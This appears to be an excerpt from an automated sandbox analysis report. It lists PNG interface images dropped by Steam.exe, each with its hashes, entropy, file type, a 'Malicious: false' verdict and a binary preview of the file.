SSDEEP:
MD5:	BEA5A61D7D707CF8408C48D48DD4B81D
SHA1:	9CBB9D292630FFB0CFF7455E398147F4CE469A86
SHA-256:	EDA403D0D9FD99ABD9B1C5FE4FC64CFCA7EA735CDD6B5BAAF5F8284BE0405837
SHA-512:	D39CD4DDFA7B59CC9EDA780C3EFCCCDCDDA75EFD0859169C5EB6B55EF322138637081C2B2547EE4D11BBC762989BE44EC78F33BD00C261206235F35A62507B0E
Malicious:	false
Reputation:	unknown
Preview:	.................................................................................................................................................................................................................................................................TRUEVISION-XFILE..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\focus_shadow_bottom.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1 x 175, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2844
Entropy (8bit):	7.874014558640058
Encrypted:	false
SSDEEP:
MD5:	9FF8623DABE4F480D7E80D31042BD29D
SHA1:	6C5C29160F91000D61672F984F53A46358AFA448
SHA-256:	5E9D961BB3FE322574A4A0E34E5C9C5635A4E79943E4D2D9C32BA05986C7EE2A
SHA-512:	BAC9431861D727B08FAC3AB6E6E2060F442864D34246DD2A7AB3B1A4E75701C6A40FFC12DAF5E7AE945A145E9FB610C42B6420682E49E3FF7A93F593D7901A2C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............<.......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\focus_shadow_left.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 175 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2842
Entropy (8bit):	7.867419515416985
Encrypted:	false
SSDEEP:
MD5:	881184A249D093EF4E4A10E2FD31573E
SHA1:	8F8E990F49FFC61715C152B76CB771034506C712
SHA-256:	FB398333863BBF2CD9D210E8487C1511DADF51969F5C78EF2B594DFE1E17FCA3
SHA-512:	7AA37CEE9C146D5382E1D0DCBE07A11C387204607F15D2899342EFBB79FCD1347302C2BBFCB11059B013CA1340B91C72C84850F1A6F597320AF78FD6D26BE23D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.....................pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\focus_shadow_left2.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 175 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2856
Entropy (8bit):	7.862681237975491
Encrypted:	false
SSDEEP:
MD5:	5239E30D8B5690A2C22273F7DB170533
SHA1:	DDFF733864BDBDAFF84A2CF9B21EF5E0CA199460
SHA-256:	94FF7BEAB58843EC738866AEB27C6BCE27221F2A05932C950936718E01219937
SHA-512:	06B2C234F2D580B13F74FE024223FD763988D0C90BD40A32E4EB2F0700831E50630416C9D75052D5B9D7BCA4CBF855A0F9ED4A20D1E4582030974959FEB37D1B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.....................pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\focus_shadow_right.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 175 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2842
Entropy (8bit):	7.864552422263727
Encrypted:	false
SSDEEP:
MD5:	DC1B2DFA92CC1EA274D6C0D143E4EF47
SHA1:	2AE81F479C7DA260BCD484FE072B5CC1088B863A
SHA-256:	FE45EACEAFE1CB38A692727AC80684DD3AC98C997F16D1E5A4D9A547026F3CB7
SHA-512:	B4603DCF49CEDA1A17445C3767FA88AC8F45FCD4F76F52E184C22A830316098B66854199DD867EF5528D0A2F34C4BF605FA21A2366FD00A555FADFADCF8DA4F0
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.....................pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\focus_shadow_right2.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 175 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2855
Entropy (8bit):	7.8660813632730795
Encrypted:	false
SSDEEP:
MD5:	737C5B620FEB8313AEBC7C314B00B8A6
SHA1:	65E72869F053F20E575B98DAA8A8C1BCD2232EA8
SHA-256:	F785144ED9742966FFE106F171642B1A76049AF61A5D780383630AD14E958244
SHA-512:	89A00C67981BF513A534C8A4B82E23C337457F658F4FA7EAE077CEAF5AA4648EF05E34590360B09EAB17978F5B5F0DB099A2AFA09D179176114C611E250E9EEB
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.....................pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\focus_shadow_top.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1 x 175, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2834
Entropy (8bit):	7.867895688654554
Encrypted:	false
SSDEEP:
MD5:	6ED5530BA90C287F7D80FF4AD782BDB3
SHA1:	775E63A31002F6245166CBAEBB78B63638AD86B1
SHA-256:	9767EF02B540B0FC6CEDA9CD20F94FD76C5FA32756FE809C978B6CDE108115BE
SHA-512:	43697027DC48C8D1CF615803691A691384A478BB484EA72C3E97D9C700199B6FA6D4247508268DB90B3A513DCDD349EFDF229F50FE8C3AFC06D2A85987494692
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............<.......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\footer\a_button.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3710
Entropy (8bit):	7.891749717954678
Encrypted:	false
SSDEEP:
MD5:	B642F92F3E3509E6CAD27808FB692CD5
SHA1:	0461E95EA5FEB6D3B4525002929E7D31DEC2E30D
SHA-256:	D2D5052B5C10EED033C3C8DBC3C71AA8A1699A64875D61556059519D06DB180E
SHA-512:	C4298809F9DCC3C4B45CAABE40FB2A166D748D287C86FFA994BBFF5E75C0F237932E49C182533ABDC95687B1ABCDCB386D4B31D4E0EBE4147CCEB30BB8719C6B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...0...0.....W.......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\footer\b_button.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3612
Entropy (8bit):	7.895837530179464
Encrypted:	false
SSDEEP:
MD5:	61008CE4C004565B80390951D2382095
SHA1:	07F88F844BEB70F868BCD5310A20CBD83F19AB6B
SHA-256:	7A92E396D5FABAC1521A95165A635A8926BED2C5B47A6ABB211DE68B91AF5185
SHA-512:	09F6118417BB276A87E6C07C57C0D9703205570140A9A097C0DF690ABDE5A7A6A88E42D30F6A36C790F852388DAD19863FF79CC97F36FFAB6F055E585FA1DC6A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...0...0.....W.......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\footer\back_d0g.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 22 x 22, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2829
Entropy (8bit):	7.862944812278502
Encrypted:	false
SSDEEP:
MD5:	7C4C4E77EFED4F58D64D9C7127EF4967
SHA1:	8BF87E152005981E7337A776CADC4E9300E7D711
SHA-256:	8855584FF421FBEAF81BB6DD70A33EBDCB545A2C54CAD83EAD4B952681507F24
SHA-512:	E46D7666B1665951D543F943A8F010472AE956882CD2E02CAB1FA16890B1E6A430AFD189F0B7FB7B8AFD23018C64BFC522A945BA2549E3989B511DAFB415071F
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............l;....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\footer\back_ps5.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 22 x 22, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	480
Entropy (8bit):	7.278344739249335
Encrypted:	false
SSDEEP:
MD5:	62A0F80F2F3153F30D4491A7CB1925C4
SHA1:	9CEABF66CB4B393FD94379A19841D2BF521EBAC6
SHA-256:	3D67534363B1368645641F8A193845E086B8F4C965D3BF3FD751E7B928E84EF4
SHA-512:	39EAC07A74CFC5E8426CB89840AEF6D778D234B1EAC446207AF88F335CDBA24DFFD531CE022B21E567673363BF19D71FE3C0A083354ACDF22F90F665A1CB5788
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............l;....sRGB.........gAMA......a.....pHYs..........o.d...uIDATHK..;K.A...-.bc...........`c.....,....kA..+{;[mR......>...@.......3g..feI.8...<.L&.....8k.$)..M.$.<./j......_.-.n.(.n.0L.,.%...c.\|-.b.t}..t2......HyHR+..H...A...$u.i....>B.c..=..0\|...1....Y0...ax.k....s.H:.....bf\_n$.R...D..{.w....Ja..[..m..J!.Za....dY.IZ......u.>Z.A.7..!q..l"..I\0.. ...i.x.H.D.q.m..\|.....V:.OA....NQ..$&\.5..%....F$5".1...w..~.p..l.._.._.y._........IEND.B`.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\footer\back_xinput.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 22 x 22, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3044
Entropy (8bit):	7.885228822239441
Encrypted:	false
SSDEEP:
MD5:	94ACCD0358E8C9CC9B69D294ABC4D8A9
SHA1:	8ABB98A000C1151F6CBA6411B358A76BE6A719D4
SHA-256:	2D51F067E06C87BA7F410F1A51316FDE29779AB65353BCAF72ED57F2ADDE3DBB
SHA-512:	AFEAE1005D0F020A2DAEFC4BD0D78ED41638B2623A49BBF3CB51143FA9905AA1340C6AFDB0FF47BA3805E85F364C7473D62D341B2DB2D5F22D8830E5B838FB2A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............l;....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\footer\grid.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 76 x 76, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15957
Entropy (8bit):	2.249187788662875
Encrypted:	false
SSDEEP:
MD5:	170410F1C63A77BB72F8A628F1D07A11
SHA1:	3B89A22D7467BACC80304600F014ABEAAF1DF7FC
SHA-256:	408F7D588B7FA3C367B92B8449BA23CF526043069DA5D03A4F6557FC688A61C2
SHA-512:	5F0346EE331BA0D9695EDE9E3B3527EA14A16CD9F0D1171E7F3D5EA3251F223B1CCFEE2301311FCCEC5ED74BF0952B526E21BAAA24593C3F5E6E8D442F08296E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...L...L......Q+....sRGB.........pHYs.................tIME......1.......tEXtFile Name.screen_grid.png4OTC..9.iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmp="http://ns.adobe.com/xap/1.0/">. <xmp:CreatorTool>Adobe Photoshop CS5 Windows</xmp:CreatorTool>. <xmp:CreateDate>2013-08-26T14:04:15-07:00</xmp:CreateDate>. <xmp:ModifyDate>2013-08-26T18:23:48-07:00</xmp:ModifyDate>. <xmp:MetadataDate>2013-08-26T18:23:48-07:00</xmp:MetadataDate>. </rdf:Description>. <rdf:Description rdf:about="". xmlns:dc="http://purl.org/dc/elements/1.1/">. <dc:format>image/png</dc:format>. </rdf:Description>. <rdf:Description rdf:about="". xmlns:photo

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\footer\start.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 22 x 22, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1126
Entropy (8bit):	6.408550658583005
Encrypted:	false
SSDEEP:
MD5:	A01E975748508A058EA42F5BAC5F6C97
SHA1:	8F9757E30CFD41721B0BD177500F16DB861DA8DC
SHA-256:	9AA55FD7C71A9E32FF7C4F8D867CB98979D23DB5202ABD1F2E863B44A81FDD6A
SHA-512:	5ADFE6157ABD3362632D23DA72826184D68B60B1014DFF2E053EACDA6963E461F96DCF8098899EE4EA6385FE03B2E8DF91E465C04F3FC0BB46BEC3B6C1F94B5E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............l;....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:4774973862AB11E3A3D3C2EC0212A3D7" xmpMM:DocumentID="xmp.did:4774973962AB11E3A3D3C2EC0212A3D7"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4774973662AB11E3A3D3C2EC0212A3D7" stRef:documentID="xmp.did:4774973762AB11E3A3D3C2EC0212A3D7"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........IDATx.b...?.....o.x).+.....>.G..@.E-._.G...x...S.`.8....0....q5..R.`......0..^.q...R.`.X...0..n.q0-..%.\|d....#

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\footer\start_ps5.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 22 x 22, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	517
Entropy (8bit):	7.196600631689583
Encrypted:	false
SSDEEP:
MD5:	01787D63EC78853A98A8E9C4F4105A45
SHA1:	FE4BB29F29FF3DE63D35685F5454E30C106169D1
SHA-256:	A7808FE00146FDED33EDDBB482750E2FE9793FE136FCC5D9017E074EDFC2A8DB
SHA-512:	446ACE69C42CE3DC7C143C6439B48F3B18B3F61F777887332B661D207FF5893F5F775573FE637336DA9C168AC7A03A35DF571DFBA4C93A26144DD3FBA223A041
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............l;....sRGB.........gAMA......a.....pHYs..........o.d....IDATHKcd@..f...../nff.?....QQQ.P)....)S.h..+........3.rI.LP.+...!...,Y..."..5...A.....@.7C.........>s..}....^..^@.. ...w.i.}Z.l.d..N@.. .t1.w.r.,Xp..f..c...../_...1....5P!.@.. ..._..../^\|........?~..?..C(...b0.\|..U.....j.........0''..K...e....D.(..(2.....P;..2......sqq=.......UP!.@.............@.0.I............&X..m0.F9............4............P!..^.yxxnedd...>.D4...J...?AlPe.LF.....`I.....Kw{X.~.....IEND.B`.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\footer\x_button.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3607
Entropy (8bit):	7.8968898192906085
Encrypted:	false
SSDEEP:
MD5:	0D56E705CA0E948294A72A9D7BD6251C
SHA1:	FA58E26CEC9E7D43D963552AEBAB360AF79C9D88
SHA-256:	3D431FF9302F9C1B4CBE1DD08423DB3C1506B442B65679FA6DB0137DA60AC39B
SHA-512:	C1D4089A324708EAADF25D373FA77DD726B8E8E8082F6A09C7B9921C862849A1E95E777D49299BFA227708909FC6167E52AE22E5E9BD871B11D0540F50796345
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...0...0.....W.......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\footer\y_button.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3684
